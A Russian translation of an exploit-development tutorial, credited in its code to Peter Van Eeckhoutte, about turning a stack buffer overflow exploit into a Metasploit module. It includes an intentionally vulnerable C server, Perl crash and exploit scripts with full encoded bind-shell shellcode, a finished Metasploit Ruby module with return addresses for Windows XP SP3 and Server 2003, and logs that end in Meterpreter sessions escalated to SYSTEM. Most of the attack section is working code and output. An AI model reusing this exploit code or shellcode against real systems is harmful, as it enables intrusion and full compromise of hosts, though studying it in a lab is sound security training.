Перевод: p(eaZ
В первых частях руководства, мы обсудили некоторые общие уязвимости, которые могут привести к двум типам эксплойтов: стековое переполнение буфера (с прямой перезаписью EIP), и буферное переполнение с использованием SEH chain. В моих примерах я использовал Perl, чтобы продемонстрировать, как создать рабочий эксплойт.
Очевидно, написание эксплойтов не ограничивается одним лишь Perl. Я предполагаю, что для этих целей может быть использован любой из языков программирования…
Однако, не зависимо от выбора языка эксплойт будет работать исправно, но может и лучше если включить его в состав Metasploit Framework и использовать в своих интересах некоторые из уникальных особенностей Metasploit.
Поэтому сейчас я собираюсь объяснить, как переписать свой эксплойт в качестве модуля для metasploit.
Модули Metasploit пишуться на Ruby. Но даже если вы не знакомы с Ruby, вы сможете написать модуль для своего эксплойта, прочитав данную часть руководства.
Типичный модуль эксплойта в metasploit состоит из следующих компонентов:
- - заголовок и описание зависимостей
- -- комментарии о модуле
- -- подключение 'msf/core'
- - определение класса
- - инклуды
- - определения "def":
- -- инициализация
- -- проверки (опционально)
- -- эксплойт
Вы можете помещать комментарии в свой metasploit модуль используя символ #. Это все, что мы должны знать на данный момент, а теперь давайте пошагово рассмотрим построения модуля для нашего эксплойта.
Шаг первый: создание эксплойта для простого уязвимого сервера
Мы будем использовать следующий уязвимый сервер, написанный на C:
#include#include #include //load windows socket #pragma comment(lib, "wsock32.lib") //Define Return Messages #define SS_ERROR 1 #define SS_OK 0 void pr( char *str) { char buf[500]=""; strcpy(buf,str); } void sError(char *str) { MessageBox (NULL, str, "socket Error" ,MB_OK); WSACleanup(); } int main(int argc, char **argv) { WORD sockVersion; WSADATA wsaData; int rVal; char Message[5000]=""; char buf[2000]=""; u_short LocalPort; LocalPort = 200; //wsock32 initialized for usage sockVersion = MAKEWORD(1,1); WSAStartup(sockVersion, &wsaData); //create server socket SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0); if(serverSocket == INVALID_SOCKET) { sError("Failed socket()"); return SS_ERROR; } SOCKADDR_IN sin; sin.sin_family = PF_INET; sin.sin_port = htons(LocalPort); sin.sin_addr.s_addr = INADDR_ANY; //bind the socket rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin)); if(rVal == SOCKET_ERROR) { sError("Failed bind()"); WSACleanup(); return SS_ERROR; } //get socket to listen rVal = listen(serverSocket, 10); if(rVal == SOCKET_ERROR) { sError("Failed listen()"); WSACleanup(); return SS_ERROR; } //wait for a client to connect SOCKET clientSocket; clientSocket = accept(serverSocket, NULL, NULL); if(clientSocket == INVALID_SOCKET) { sError("Failed accept()"); WSACleanup(); return SS_ERROR; } int bytesRecv = SOCKET_ERROR; while( bytesRecv == SOCKET_ERROR ) { //receive the data that is being sent by the client max limit to 5000 bytes. bytesRecv = recv( clientSocket, Message, 5000, 0 ); if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) { printf( "\nConnection Closed.\n"); break; } } //Pass the data received to the function pr pr(Message); //close client socket closesocket(clientSocket); //close server socket closesocket(serverSocket); WSACleanup(); return SS_OK; }
Скомпилируйте этот код и запустите на сервере Windows 2003 R2 с SP2. (Я использовал lcc-win32, чтобы его скомпилировать)
Когда мы пошлем 1000 байтов на сервер, он упадет.
Следующий perl-скрипт продемонстрирует крушение:
#!usr/bin/perl use strict; use Socket; my $junk = "\x41" x1000; # initialize host and port my $host = shift || 'localhost'; my $port = shift || 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(SOCKET, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!";
Уязвимый сервер упал, и EIP был перезаписан на строку из "A"
0:001> g (e00.de0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0 eip=41414141 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 41414141 ?? ???
Используя паттерны из metasploit, мы определим смещение до перезаписи EIP в 504 байта. Таким образом мы напишем новый скрипт, чтобы проверить правильность выбранного смещения и значения регистров, когда произойдет переполнение:
#!usr/bin/perl use strict; use Socket; my $totalbuffer=1000; my $junk = "\x41" x 504; my $eipoverwrite = "\x42" x 4; my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite)); # initialize host and port my $host = shift || 'localhost'; my $port = shift || 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(SOCKET, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk.$eipoverwrite.$junk2."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!";
После отправки 504 "A", 4 "B" и связка из "C", мы увидим следующие состояния регистров и содержимое стека:
0:001> g (ed0.eb0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012e05c ebx=7ffde000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0 eip=42424242 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 42424242 ?? ??? 0:000> d esp 0012e258 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e268 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e278 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e288 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e298 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e2a8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e2b8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e2c8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
Увеличьте размер $junk, чтобы определить, сколько места в наличии мы имеем для шеллкода. Это важно, потому что мы должны определить этот параметр в metasploit модуле.
Измените $totalbuffer на 2000, тем самым, выйдя за пределы, и содержимое ESP покажет, что мы можем заполнить память C-строкой до esp+5d3 (1491 байт). Это будет местом для шеллкода.
Все, что нам нужно, это перезаписать EIP на jmp esp (или call esp, или на что-либо подобное), и поместить наш шеллкод на место C-строки.
Используя findjmp, мы нашли рабочий адрес для нашего сервера Windows 2003 R2 SP2:
findjmp.exe ws2_32.dll esp Reg: esp Scanning ws2_32.dll for code usable with the esp register 0x71C02B67 push esp - ret Finished Scanning ws2_32.dll for code usable with the esp register Found 1 usable addresses
После выполнения некоторых тестов с шеллкодом, для создания завершенного эксплойта, мы должны сделать следующее:
- - исключить 0xff из шеллкода
- - поместить некоторое количество nop'ов перед шеллкодом
Наш заключительный эксплойт на perl, с привязыванием командной оболочки (bind shell), на tcp-порт 5555:
!#usr/bin/perl # print " --------------------------------------\n"; print " Writing Buffer Overflows\n"; print " Peter Van Eeckhoutte\n"; print " http://www.corelan.be:8800\n"; print " --------------------------------------\n"; print " Exploit for vulnserver.c\n"; print " --------------------------------------\n"; use strict; use Socket; my $junk = "\x90" x 504; #jmp esp (from ws2_32.dll) my $eipoverwrite = pack('V',0x71C02B67); #add some NOP's my $shellcode="\x90" x 50; # windows/shell_bind_tcp - 702 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=5555, RHOST= $shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" . "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" . "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" . "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" . "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" . "\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" . "\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" . "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" . "\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" . "\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" . "\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" . "\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" . "\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" . "\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" . "\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" . "\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" . "\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" . "\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" . "\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" . "\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" . "\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" . "\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" . "\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" . "\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" . "\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" . "\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" . "\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" . "\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" . "\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" . "\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" . "\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" . "\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" . "\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" . "\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" . "\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" . "\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" . "\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" . "\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" . "\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" . "\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" . "\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" . "\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" . "\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" . "\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" . "\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" . "\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" . "\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" . "\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" . "\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" . "\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" . "\x41\x41"; # initialize host and port my $host = shift || 'localhost'; my $port = shift || 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(SOCKET, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk.$eipoverwrite.$shellcode."\n"; print "[+] Payload sent\n"; print "[+] Attempting to telnet to $host on port 5555...\n"; system("telnet $host 5555"); close SOCKET or die "close: $!";
Эксплойт в действии:
root@backtrack4:/tmp# perl sploit.pl 192.168.24.3 200 -------------------------------------- Writing Buffer Overflows Peter Van Eeckhoutte http://www.corelan.be:8800 -------------------------------------- Exploit for vulnserver.c -------------------------------------- [+] Setting up socket [+] Connecting to 192.168.24.3 on port 200 [+] Sending payload [+] Payload sent [+] Attempting to telnet to 192.168.24.3 on port 5555... Trying 192.168.24.3... Connected to 192.168.24.3. Escape character is '^]'. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\vulnserver\lcc>whoami whoami win2003-01\administrator
Самые важные параметры, которые должны быть взяты из этого эксплойта:
- - смещение к ret (чтобы перезаписать eip) на 504 байта
- - адрес jump в windows 2003 R2 SP2 (English) равный 0x71C02B67
- - шеллкод не должен содержать 0?00 или 0xff
- - шеллкод должен быть длиной приблизительно в 1400 байтов
После проведения некоторых тестов на Windows XP SP3 (English), мы решаем, что выбранное смещение сохраниться, но адрес jmp должен быть изменен (например, на 0x7C874413). Мы напишем metasploit модуль, который позволит нам выбирать одну из двух целей, и будет использовать правильный адрес jmp.
Подгоняем эксплойт к metasploit.
Во-первых, мы должны определить тип нашего эксплойта, чтобы определит папку в пределах структуры metasploit, где и будет храниться эксплойт. Если бы наш эксплойт был нацелен на Windows ftp server программы, он должен был бы быть помещен в директории с эксплойтами под windows ftp серверы.
Модули Metasploit хранятся в framework3xx, в дирректории под названием /modules/exploits. В этой папке эксплойты разделены в зависимости от операционной системы, а затем от сервисов, на которые они рассчитаны.
Наш сервер запускается на windows, таким образом, мы относим его к категории windows. Категория windows уже содержит многие папки (от antivirus до wins), и включает в себя папку misc. Мы отнесем наш эксплойт к misc (или к telnet), потому что он в действительности не принадлежит ни к одному из других типов.
Мы создадим свой metasploit модуль под %metasploit %/modules/windows/misc:
root@backtrack4:/# cd /pentest/exploits/framework3/modules/exploits/windows/misc root@backtrack4:/pentest/exploits/framework3/modules/exploits/windows/misc# vi custom_vulnserver.rb
# # # Custom metasploit exploit for vulnserver.c # Written by Peter Van Eeckhoutte # # require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Custom vulnerable server stack overflow', 'Description' => %q{ This module exploits a stack overflow in a custom vulnerable server. }, 'Author' => [ 'Peter Van Eeckhoutte' ], 'Version' => '$Revision: 9999 $', 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1400, 'BadChars' => "\x00\xff", }, 'Platform' => 'win', 'Targets' => [ ['Windows XP SP3 En', { 'Ret' => 0x7c874413, 'Offset' => 504 } ], ['Windows 2003 Server R2 SP2', { 'Ret' => 0x71c02b67, 'Offset' => 504 } ], ], 'DefaultTarget' => 0, 'Privileged' => false )) register_options( [ Opt::RPORT(200) ], self.class) end def exploit connect junk = make_nops(target['Offset']) sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded sock.put(sploit) handler disconnect end end
Мы видим следующие компоненты:
- - во-первых, строку ' require msf/core ', которая будет действительна для всех эксплойтов в metasploit
- - определение класса. В нашем случае это - remote exploit.
- - затем, информацию о эксплойте и его определение:
- -- include: в нашем случае это - tcp соединение, таким образом, мы используем Msf::Exploit::Remote::Tcp
- -- Information:
- --- Полезная нагрузку(payload): определите длину и плохие символы (0?00 и 0xff в нашем случае)
- --- Определите цели, и параметры настройки, такие как адрес возврата, смещение, и т.д.
- -- Exploit:
- --- connect (который настроит связь с удаленным портом),
- --- создание буфера:
- ---- junk (nop'ы, с длиной смещения)
- ---- добавьте адрес возврата, больше nop'ов, и затем закодированную полезную нагрузку
- --- буфер для соединения
- --- интерфейс(handle) эксплойта
- --- разъединение(disconnect)
Теперь откройте msfconsole. Если в Вашем сценарии произойдет ошибка, то Вы увидите информацию о ней, в то время как загрузится msfconsole. Если msfconsole был уже загружен, Вы должны будете перезапустить его прежде, чем сможете использовать этот новый модуль (или прежде, чем Вы сможете использовать обновленный модуль, если Вы делали изменения)
Провериим эксплойт:
Тест №1: Windows XP SP3
root@backtrack4:/pentest/exploits/framework3# ./msfconsole | | _) | __ `__ \ _ \ __| _` | __| __ \ | _ \ | __| | | | __/ | ( |\__ \ | | | ( | | | _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| _| =[ msf v3.3-dev + -- --=[ 395 exploits - 239 payloads + -- --=[ 20 encoders - 7 nops =[ 187 aux msf > use windows/misc/custom_vulnserver msf exploit(custom_vulnserver) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 200 yes The target port Exploit target: Id Name -- ---- 0 Windows XP SP3 En msf exploit(custom_vulnserver) > set rhost 192.168.24.10 rhost => 192.168.24.10 msf exploit(custom_vulnserver) > show targets Exploit targets: Id Name -- ---- 0 Windows XP SP3 En 1 Windows 2003 Server R2 SP2 msf exploit(custom_vulnserver) > set target 0 target => 0 msf exploit(custom_vulnserver) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(custom_vulnserver) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.24.10 yes The target address RPORT 200 yes The target port Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 192.168.24.10 no The target address Exploit target: Id Name -- ---- 0 Windows XP SP3 En msf exploit(custom_vulnserver) > exploit [*] Started bind handler [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending stage (718336 bytes) [*] Meterpreter session 1 opened (192.168.24.1:42150 -> 192.168.24.10:4444) meterpreter > sysinfo Computer: SPLOITBUILDER1 OS : Windows XP (Build 2600, Service Pack 3).
Тест №2: Windows Server 2003 R2 SP2
meterpreter > meterpreter > quit [*] Meterpreter session 1 closed. msf exploit(custom_vulnserver) > set rhost 192.168.24.3 rhost => 192.168.24.3 msf exploit(custom_vulnserver) > set target 1 target => 1 msf exploit(custom_vulnserver) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.24.3 yes The target address RPORT 200 yes The target port Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 192.168.24.3 no The target address Exploit target: Id Name -- ---- 1 Windows 2003 Server R2 SP2 msf exploit(custom_vulnserver) > exploit [*] Started bind handler [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending stage (718336 bytes) [*] Meterpreter session 2 opened (192.168.24.1:56109 -> 192.168.24.3:4444) meterpreter > sysinfo Computer: WIN2003-01 OS : Windows .NET Server (Build 3790, Service Pack 2). meterpreter > getuid Server username: WIN2003-01\Administrator meterpreter > ps Process list ============ PID Name Path --- ---- ---- 300 smss.exe \SystemRoot\System32\smss.exe 372 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe 396 Explorer.EXE C:\WINDOWS\Explorer.EXE 420 services.exe C:\WINDOWS\system32\services.exe 424 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe 432 lsass.exe C:\WINDOWS\system32\lsass.exe 652 svchost.exe C:\WINDOWS\system32\svchost.exe 832 svchost.exe C:\WINDOWS\System32\svchost.exe 996 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 1132 svchost.exe C:\WINDOWS\System32\svchost.exe 1392 dllhost.exe C:\WINDOWS\system32\dllhost.exe 1580 svchost.exe C:\WINDOWS\System32\svchost.exe 1600 svchost.exe C:\WINDOWS\System32\svchost.exe 2352 cmd.exe C:\WINDOWS\system32\cmd.exe 2888 vulnserver.exe C:\vulnserver\lcc\vulnserver.exe meterpreter > migrate 996 [*] Migrating to 996... [*] Migration completed successfully. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
pwned!
Вы можете найти больше информации о Metasploit API (и доступные классы) на официальном сайте проекта по адресу: http://www.metasploit.com/documents/api/msfcore/index.html
Комментариев нет:
Отправить комментарий